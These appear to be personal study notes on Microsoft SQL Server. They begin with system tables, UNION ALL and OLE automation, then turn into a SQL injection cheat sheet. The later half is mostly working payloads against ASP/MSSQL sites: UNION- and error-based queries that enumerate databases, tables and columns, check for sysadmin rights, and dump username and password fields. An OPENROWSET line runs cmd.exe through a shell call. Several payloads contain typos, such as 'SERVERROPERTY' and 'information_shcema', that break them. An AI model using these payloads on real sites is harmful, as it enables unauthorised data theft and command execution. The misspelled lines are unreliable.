mssql数据库基础

basic conceptions

mssql system table 

1. sys.objects - contains information about all objects (tables, views, stored procedures, etc.) in the database.
2. sys.columns - contains information about all columns in all tables in the database.
3. sys.indexes - contains information about all indexes in the database.
4. sys.databases - contains information about all databases on the server.
5. sys.sysusers - contains information about all users in the database.
6. sys.syslogins - contains information about all logins on the server.
7. sys.dm_exec_sessions - contains information about all active sessions on the server.
8. sys.dm_exec_requests - contains information about all active requests on the server.
9. sys.dm_os_waiting_tasks - contains information about all tasks that are currently waiting for a resource.
10. sys.dm_tran_locks - contains information about all locks that are currently held in the database.

The default databases in SQL Server

On every SQL Server instance there is a number of default system databases.Those are

master - keeps the information for an instance of SQLServer

msdb - used by SQL Server Agent

model - template database copid for each new database

resource - read only database that keeps system objects that are visible in every database on the server in sys schema

tempdb - keeps temporary objects for SQL queries.

union all grammer in mssql 

union all is used to combine the result sets of queries into a single result set without removing duplicate rows (include duplicate rows)

the syntax of union all is as follow

select colums from table1 union all select colums from table2

this operator allow us to merge the results of multiple queries into one result set.each part of the query statement must have the same number and order of columns,but the data types can be different.

is_srvrolemember() in mssql

a built-in function in mssql that is used to detemine whether a specified login is  a member of the specified server role.

is_srvrolemember('server_role',['login'])

　　login the name of login that you want to check membership for.

　　returns 1 if the login is server role,otherwise is 0

is_ms_shipped

a flag that indicates whether a particular object,such as a table or stored procedure,is a system object that was shipped with mssql 

this column has a value of 1 if the object is systemobject and z if it's not

ole automation procedures

ole automation procedures in mssqsl refer to the ability to use the ole automation object s in sql server to perform tasks that are not natively supported by sql server.ole automation allows you to use external applications or comoponents to perform tasks that are not possible with T-sql alone. # you can create excel within sql server

　　tips: using sp_oacreate stored procedure to create an instance of ole automation objecct,use other stored procedures such as sp_oamethod  and use sp_oagetproperty to interact with the object and perform tasks

　　sp_oamethod() function

　　four parameter 

　　1.objectname -- the ole automation name to be invoked

　　2.methodname -- the name of the method to be invoked on ole automation object

　　3.outputflag -- specifies whether to return output parameter.0 meas no 1 meas return

　　4.parameterlist -- the list of parameters passed to method.it's a comma-separated string containing all the paramerter of method

ad hoc distributed queries

it refer to the ability for users in a distributed database system to query multiple different database simultaneously using one sql statement,without the need to execute separate queries in each database

　　openrowset() function

　　 is a T-sql funcion which is used to enum data from outside data source

　　forexample:

openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")');

• openrowset: This is a T-SQL function used to retrieve data from an external data source.
• 'microsoft.jet.oledb.4.0': This is the name of the OLE DB provider used to access a Microsoft Access database.
• ';database=c:\windows\system32\ias\ias.mdb': This is the path and name of the Access database.
• 'select shell("cmd.exe /c whoami")': This is the query to be executed, which uses the shell function to call the Windows command line tool cmd.exe and execute the whoami command to return the current user's username.

query grammer in mssql

query mssql's version and db_name

?id=1 and 1=2 union all select 1,(SERVERROPERTY('edition')),'3',4;
?id=1 and 1=2 union all select 1,(@@version),'3',4 
#query db_name
?id=1 and 1=2 union all select null,(select db_name(0)),null,null --+　#we can use db_name(1/2) to query other dababasename
　　　　　　　　　　　　　　　　　　　　　　　　　the double quotes are used to ensure the data types is consistent

query mssql table name 

?id=1 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='U'),'3',4

the 'top' keyword since there is no 'limit' in mssql,if we want to retrieve a single row ,we can use 'TOP 1',for tow rows ,use 'TOP 2',

the 'DBO' keyword, dbo is each database default user have owner privilege.

• 　　when user2 want  to access table but the table was created by user1.user2 should access with user1.table  in grammer otherwise,the database will throw an error.
• if the table was created with the owner specified as 'dbo' ,other users can simply write 'dbo.talbe' when accessing it ,without needing to know about user1

the 'sysobjects' and 'xtype' keywords introduction

• in mssql ,each database has a bulit-in system table called 'sysobjects'.among the useful fields in this system table,there are three:'name' field,'xtype' field,and 'id' field.the name field contains the table name information. 2.the 'xtype' field represent the type of the table,whic has tow parameters -'S' for system tables and 'U' for user-created tables. 3.the 'ID' field value is used to connect with the 'syscolumns' table

query for column name 

?id=1 and 1=2 union all select 1,(select top 1 col_name(object_id(('manage')),1) from sysobjects),'3',4
replace the 1 in col_name('manage',1) with'2','3',and'4' respectively to retrieve all column name

col_name is system function,usage : col_name(object_id,col_id)

query for data 

?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 --+#get username
?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 --+

Some commonly used inject commands:

ensure database type : 

• http://www.xxx.xxx/xxx.asp?id=6 and user>0
• http://www.xxx.xxx/xxx.asp?id=6 and (select count(*) from sysobjects)>0 # mssql will common retrieve 

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //judge whether is system administrator
and 1=(Select IS_MEMBER('db_owner')) //judge whether is database privilege 
and 1= (Select HAS_DBACCESS('master')) //judge whether have  database read privilege 
and exists(select * from tableName) //judge whether is table name called tableName exist
and 1=(select @@VERSION) //MSSQLversion 
And 1=(select db_name()) //current database name
and 1=(select @@servername) //local server name

//get database (this statement is used to retrieve all database at once and only suitable for version >=2005.tow statements to choose from)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

and db_name()>0 //retrieve current database
//retrieve all the table in this database .only suitable for version >=2005.tow statements to choose from)
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
//retrieve data for all fields of a specified table row by row only suitable for mssql version >=2005
and 1=(select top 1 * from 指定数据库..指定表名 where FOR XML PATH(''))--
//retrieve lots of data at once only suitable for mssql version >=2005
and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--

message accquire

//current database name 

select db_name(N) 

http://ip/xx.asp?id=5' and (select db_name()) >0 -- 
http://ip/xx.asp?id=1' and (convert(int,db_name())）>0 -- 

//query current user

asp?id=1' and (user) > 0 --

//obtain table from database 

select top  1  name from databasename.sys.all_objects where type='U'
 and is_ms_shipped=0
xx.asp?id=1' and (select top 1 name from test.sys.all_object
 where type='U' and is_ms_shipped=0)

?id=1' and (select top 1 name from test.sys.all_object where xtype='U'
 and is_ms_shipped=0 and name not in ('emails'))>0--

//obtain field of specified table

asp?id=1' and (select top 1 column_name from 
test.information_shcema.colums where table_name='users')

asp?id=1' and (select top 1 name from test.information_shcema.columns 
where table_name='user' and columns_name not in ('id','username'))>0--

//obtain data from field

xx.asp?id=5' and (select top 1 username from users) >0 --